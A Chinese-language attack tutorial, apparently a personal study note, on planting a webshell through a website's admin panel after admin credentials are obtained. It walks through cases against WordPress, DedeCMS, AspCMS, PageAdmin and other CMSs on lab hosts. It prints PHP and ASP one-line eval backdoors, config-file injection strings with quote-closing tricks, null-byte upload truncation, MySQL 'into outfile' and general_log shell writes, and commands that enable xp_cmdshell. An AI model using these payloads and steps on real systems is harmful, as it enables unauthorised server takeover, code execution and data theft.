网站后台拿webshell
概述
通过注入或者其他途径,获取网站管理员账号和密码后,找到后台登录地址,登录后,寻找后台漏洞上传网页后门,获取网站的webshell
webshell的作用是方便攻击者,webshell是拥有fso权限,根据fso权限的不用,可以对网页进行编辑,删除,上传或者下载,查看文件。
攻击者也可以通过这个webshell对服务器进行提权,提权成功后,会得到服务器管理权限。拿webshell也是getshell的另一种叫法
网站后台的因为功模块较多,很多开发人员也不会对后台的业务输入,进行严格过滤,输入有危害的内容,与漏洞配合很容易拿到网站的webshell。可以通过文件上传漏洞、SQL注入漏洞、文件任意写入漏洞、文件远程下载漏洞,SQL语句执行漏洞、数据库备份漏洞,文件包含漏洞等漏洞获取网站的webshel
按照漏洞类型可以分类
模板编辑拿webshell
通过修改模块写入一句话,网站再调用模板的时,会自动加载这个模板,运行后门。
文件上传拿webshell
通过后台的上传模块,上传网页后门,就可以拿到webshell
文件写入拿webshell
通过可控参数将恶意代码写入文件里,即可获取webshell
zip自解压拿webshell
上传zip文件,在其加入webshell文件,程序会自动解压,将后门解压到网站目录,可以获取webshell。
远程图片下载拿webshell
有的网站后台会存在远程图片下载功能,但是没有对其后缀名进行限制,导致可以下去webshell文件。
编辑器漏洞拿webshell
有的编辑器存在上传漏洞,通过编辑器漏洞可以获取网站的webshell。
备份拿webshell
很多的asp网站 都存在备份功能,上传有恶意的图片,备份成脚本文件,即可获取webshell
SQL语句执行拿webshell
有的网站存在sql执行命令,可以通过命令备份或导出一句话后门到指定网站目录,即可获取webshell
SQL注入写shell 拿webshell
网站前台设置了防注入,但是后台一般都存在注入,如果权限有读写,使用命令进行读写文件,或者执行写入后门,即可获取webshell
案例
一、wordpress后台修改模板拿webshell
通过修改模板写入一个句后门,访问文件即可获取webshell
登录wordprees后台 选择 主题 编辑
http://www.cbi1.com/wp-admin/theme-editor.php?file=404.php&theme=twentysixteen
<?php phpinfo();eval($_POST[‘cmd’]);?>

保存访问 即可获取webshell
http://www.cbi1.com/wp-content/themes/twentysixteen/404.php
二、wrodpress上传主题拿webshell
把带有后门的文件加入到主题里,压缩为zip文件 上传后 程序会自动解压后,主题目录下会存在一个后门文件
http://www.cbi1.com/wp-admin/theme-install.php

http://www.cbi1.com/wp-content/themes/moon/1.php

三、dedecms通过文件管理器上传webshell
dedecms后台可以直接上传任意文件,可以通过文件管理器上传php文件获取webshell
http://www.cbi2.com/dede/file_manage_main.php?activepath=/uploads


四、dedecms修改模块拿webshell
这个和wordpress类似 可以修改模板进行拿webshell
修改模板后来到生成 设置生成的主页格式
http://www.cbi2.com/dede/tpl.php?action=edit&acdir=default&filename=index.htm


访问webshell

五、dedecms后台任意命令执行拿webshell
在dedecms后台广告管理,可以插入php任意代码

访问 即可获取webshell
http://www.cbi2.com/plus/ad_js.php?aid=4

原理 plusad_js.php
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');
$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile)
> $cfg_puccache_time )
{
$row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
$adbody = '';
if($row['timeset']==0)
{
$adbody = $row['normbody'];
}
else
{
$ntime = time();
if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
$adbody = $row['expbody'];
} else {
$adbody = $row['normbody'];
}
}
$adbody = str_replace('"', '"',$adbody);
$adbody = str_replace("r", "\r",$adbody);
$adbody = str_replace("n", "\n",$adbody);
$adbody = "<!--rndocument.write("{$adbody}");rn-->rn";
$fp = fopen($cacheFile, 'w');
fwrite($fp, $adbody);
fclose($fp);
}
include $cacheFile;
从数据读取内容 再用 include包含进来执行,会造成代码执行漏洞,所以可以写入一句话进行拿webshell
六、aspcms后台修改配置文件拿webshell
网站中的配置文件,如果可在后台里进行修改,如果没有任何过滤,可以在里面写入而已的语句,即可获取webshell
注:注意闭合问题,因为配置文件在网站中是全局调用,如果写错,网站会错误。无法访问
在aspcms可以修改 如果是字符类型填写双引号闭合 如果是数字
"%><%eval request(chr(35))%><%
%><%eval request(chr(35))%><%

在本程序中填写 "><%eval request(chr(35))%><% 程序会过滤% 所以还要进行编码%25
1%25><%25Eval(Request (chr(65)))%25><%25 密码是a

使用客户端连接填写密码a即可
http://www.cbi3.com/config/AspCms_Config.asp

七、南方数据企业系统 后台上传截断拿webshell
使用截断将目录可以截断成文件访问网址
http://www.cbi7.com/admin/UpFileForm.asp?Result=QRCodeo

存放的位置是可以选择的 可以可以外部控制,可以试着将目录进行截断

将%00进行解码进行截断


八、南方数据企业系统 一句插入配置文件拿webshell
插入配置文件拿webshell

打开系统配置,看到配置内容,配置文件都写在文件里,所以讲后门一句话插入文件里,因为是字符串要考虑闭合问题

smtp.163.com"%><%eval request(chr(35))%><% s="

http://www.cbi7.com//Inc/Const.asp 密码#

九、南方数据企业系统 修改配置文件拿webshell
http://www.cbi7.com//admin/SetConst.asp
网站进行可以对源码进行修改,往里面写入一句话即可


十、phpmyadmin 日志拿 webshell
通过SQL语句拿webshell 用into outfile 把后门写到网站目录上
select ‘<?php phpinfo();eval($_POST[cmd]);?>’ into outfile
‘C:/phpstudy_pro/WWW/x.php’
利用mysql日志文件写shell,这个日志可以在mysql里改变它的存放位置,登录phpmyadmin可以修改这个存放位置,并且可以修改它的后缀名。所以可以修改成php的后缀名就能获取一个webshell
开启日志记录
SET global general_log = "ON"; 日志保存状态开启;
SET global general_log_file =’C:/phpstudy_pro/WWW/a.php’; 修改日志的保存位置
如果出错应该是mysql没权限写到这个web目录内,如果没有出错,执行select后,a.php里面就会存在恶意代码

访问即可获取webshell

十一、pageadmin上传模块拿webshell
在pageadmin后台可以上传模板,把webshell打包成zip上传模板,系统会自动解压,成功会在后台存在后门,访问即可获取webshell

上传zip文件上后系统会自动解压
Templates/webshell/webshell.aspx

十二、pageadmin 上传文件解压拿webshell
上传文件解压即可获取webshell

十三、pageadmin 查找数据库配置文件执行命令拿webshell
来到后台的后台的目录管理器 查找web.confg 里面有数据库的连接信息
用数据库客户端连接开启xp_cmdshell
EXEC sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure
‘xp_cmdshell’,1;RECONFIGURE

执行系统命令
十四、无忧企业系统 留言一句话到数据库拿webshell
如果access数据库是asp格式的可以插入数据库一句话访问数据库即可获取webshell
留言插入
┼攠數畣整爠煥敵瑳∨≡┩愾 密码a


url 遇到#会当作瞄点 所以要将#url编码后在进行访问

更新: 2025-05-06 09:44:08
原文: https://www.yuque.com/yuhui.net/network/asdd4cky4rhi94ll
十三、pageadmin 查找数据库配置文件执行命令拿webshell
评论(0)
暂无评论